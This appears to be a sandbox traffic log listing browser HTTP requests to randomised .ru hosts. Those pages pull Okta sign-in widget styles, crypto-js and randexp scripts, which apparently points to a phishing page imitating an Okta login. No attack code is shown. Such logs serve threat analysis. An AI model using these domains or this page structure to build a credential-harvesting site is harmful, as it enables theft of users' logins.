Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://86zv.vocalentr.ru/3JO93Fm/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlVFRU4yQXI3T2IyWWExVlVGajIrYkE9PSIsInZhbHVlIjoiUEhIbXFzMTcxOG5RNWtXNTFHNnVFZDFhMzJEUzFTTzFhRFJTcTRVZTdBaTdvU0FyTjUzSVVpdThBTnhFNC81a1p4dXBCN0lCOFIwNnJUbmJPNFo3WTM4dzBsaGp4dVluRlVhZVR5NmpQaDhoZ3ZpaDhBSkxGcHpIa0R3OU5tSXYiLCJtYWMiOiI3ODFhYmY4ZmNjYWQxY2NiNjhmOGI3MzZmMTk4NmUwOWUzMWQxZGY3YmY5MzY2MzdiZDFjOTEzNGI3ZTZmOGM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkYxRHM4M1F0WVpObmtVUjBQTjArYlE9PSIsInZhbHVlIjoiVTZVaWMrb0ZDbWpkU2FGdW55a1BoWHFRTmlsb1Z4UnM0Qk5yWjFmZS8xdlFjUEFMTmVwYU5qNlBKZXBFb2grQmREa0pRYnJ6UU8xQzNaUDFFNXFvMndja012VkVMelpVUkVHQitLaXpLQTZOeVdtb0RDdTdnZWw4ZzUyUUxyNTQiLCJtYWMiOiJkMTc5M2I5NWYyMzM5OThjMDAwNzZlZDVkMmM1ZWM3NWE5NjUxMzk5M2ZiYTZiMzhmMTRlY2Y0YTk1NmNkNzUzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /chiriya!ystwcek HTTP/1.1Host: tk7bj.kqnsgn.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://86zv.vocalentr.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://86zv.vocalentr.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chiriya!ystwcek HTTP/1.1Host: tk7bj.kqnsgn.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3JO93Fm/ HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://86zv.vocalentr.ru/3JO93Fm/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjErSTF2UFIzRUlLN0kvSGx5Qm5KSEE9PSIsInZhbHVlIjoiRFZrZysyelJCazJmS3FPaVcwK3NmZkYzNVNuTnpuQ3hVdHR0RURZUDVObjFoWFQrNktQQ2V6a3pycEtyMi93YW9NV1U4S0tESjZDR0JNTW10Smx1VjM2VDVWMDhieWZBWkV5UitnS21oN2xhazVURnl2LzFOTTNhc0RaNkFyRWYiLCJtYWMiOiI5MmNjOWRlYWI3ZDc3MmQ0YmM3ZjFiZmZlMDQyMDNjZGRhN2VhYzYyZjMwNjUzYjNiYzI5Njg0YWUzYTFmZjIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImIvRWNYZit0cXFUUHRkZ20vdVUvUnc9PSIsInZhbHVlIjoiWFprMGhqa0R1bW1DN1Q3bUl4c0xrb0lKUjQ2S3lHNFhEaytjdDFoTzJTZENGTVo1ZG1ydWRDMXdvQlFPVFM2NExGS2FkeUs3QS9MWW1IOGNxNVVNYnZnYzArM2lpeExaaE51d2U4YUZleTM4ek1OMUZyMW5HTDZzRGQ2Q3JjTjAiLCJtYWMiOiI0MGI0YWI3Y2U2YTU0MDhhOWM4MWE2MzYxZjlmNmFjNDUxN2Y1YjA0OGQ5MmFjN2Y2NTI3MTRmZTM1YzA3MTdlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wzPPl0tXJi084z9myPdy03491bj6hv8FVzLTwoc HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjErSTF2UFIzRUlLN0kvSGx5Qm5KSEE9PSIsInZhbHVlIjoiRFZrZysyelJCazJmS3FPaVcwK3NmZkYzNVNuTnpuQ3hVdHR0RURZUDVObjFoWFQrNktQQ2V6a3pycEtyMi93YW9NV1U4S0tESjZDR0JNTW10Smx1VjM2VDVWMDhieWZBWkV5UitnS21oN2xhazVURnl2LzFOTTNhc0RaNkFyRWYiLCJtYWMiOiI5MmNjOWRlYWI3ZDc3MmQ0YmM3ZjFiZmZlMDQyMDNjZGRhN2VhYzYyZjMwNjUzYjNiYzI5Njg0YWUzYTFmZjIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImIvRWNYZit0cXFUUHRkZ20vdVUvUnc9PSIsInZhbHVlIjoiWFprMGhqa0R1bW1DN1Q3bUl4c0xrb0lKUjQ2S3lHNFhEaytjdDFoTzJTZENGTVo1ZG1ydWRDMXdvQlFPVFM2NExGS2FkeUs3QS9MWW1IOGNxNVVNYnZnYzArM2lpeExaaE51d2U4YUZleTM4ek1OMUZyMW5HTDZzRGQ2Q3JjTjAiLCJtYWMiOiI0MGI0YWI3Y2U2YTU0MDhhOWM4MWE2MzYxZjlmNmFjNDUxN2Y1YjA0OGQ5MmFjN2Y2NTI3MTRmZTM1YzA3MTdlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://86zv.vocalentr.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lmnbmoPaBXmEDnZDfFrIawgoqOaI0y1O0vA2jy HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImIzYkY2OC80ZUJwSXJoZEpxZ29mWFE9PSIsInZhbHVlIjoiemQ3cnlqRmh2dmxtMTFtYWZhZm5pemRCSTlxSk9qZlJPalk0cHNkMEErQVhNdHhmeHcvbkVPOGdMRmZxOTJwOTFJa1RTbHBuSk5CMnNIQjRsUFdKTytFUko2cGJVcTY3cVdQVmJLOThZWlVBN1ZqVTd1SUliVEVSTUNJVnNsK1giLCJtYWMiOiI5NWY5YmNlOWEzNWUxZWM1OWQyN2MwNDBmZmZlZDhjMWEwNjg5YjVmYThiZTZhNjQ1MTMzNjdhZTRlYWU1MmI1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlkK2NJNlNaRWRwRDNMY0UrT3pOcXc9PSIsInZhbHVlIjoiSGU3bkh1NHFaYVVFalhiVEZBZFJzZE5Ucm9VbE1hMTA2Y1psaW5hVmtMN3dDdU5LSWNkeVlrY2FvcWFZOVdKZVBidUkyQjJpR1lqMTFST3lRYzN5UW4yS3NRaExid0VWNUJKdmVEbHJzNVdEejJ3YU5JakxkOFlRbTJKRDdVV2QiLCJtYWMiOiJmZWE5MTIxOTg4MTAyNjIwOTEyM2I4Y2E3YTg1NWQ4MWE3MjdjZTE4MTJmODZhZjdkZjk2NDNkODc1ZWJjNzA1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://86zv.vocalentr.ru/3JO93Fm/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImIzYkY2OC80ZUJwSXJoZEpxZ29mWFE9PSIsInZhbHVlIjoiemQ3cnlqRmh2dmxtMTFtYWZhZm5pemRCSTlxSk9qZlJPalk0cHNkMEErQVhNdHhmeHcvbkVPOGdMRmZxOTJwOTFJa1RTbHBuSk5CMnNIQjRsUFdKTytFUko2cGJVcTY3cVdQVmJLOThZWlVBN1ZqVTd1SUliVEVSTUNJVnNsK1giLCJtYWMiOiI5NWY5YmNlOWEzNWUxZWM1OWQyN2MwNDBmZmZlZDhjMWEwNjg5YjVmYThiZTZhNjQ1MTMzNjdhZTRlYWU1MmI1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlkK2NJNlNaRWRwRDNMY0UrT3pOcXc9PSIsInZhbHVlIjoiSGU3bkh1NHFaYVVFalhiVEZBZFJzZE5Ucm9VbE1hMTA2Y1psaW5hVmtMN3dDdU5LSWNkeVlrY2FvcWFZOVdKZVBidUkyQjJpR1lqMTFST3lRYzN5UW4yS3NRaExid0VWNUJKdmVEbHJzNVdEejJ3YU5JakxkOFlRbTJKRDdVV2QiLCJtYWMiOiJmZWE5MTIxOTg4MTAyNjIwOTEyM2I4Y2E3YTg1NWQ4MWE3MjdjZTE4MTJmODZhZjdkZjk2NDNkODc1ZWJjNzA1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /34pIIpMnrpbm72dd9abFBFlh6720 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abmeyb7Y5s4tpqZcd30 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveOrigin: https://86zv.vocalentr.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveOrigin: https://86zv.vocalentr.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveOrigin: https://86zv.vocalentr.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveOrigin: https://86zv.vocalentr.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://86zv.vocalentr.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://86zv.vocalentr.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://86zv.vocalentr.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250401%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250401T054011Z&X-Amz-Expires=300&X-Amz-Signature=5ebcc0c5c53b523ee757d7d5307ad1a00895b916205a2892a0f12861de730f48&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://86zv.vocalentr.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
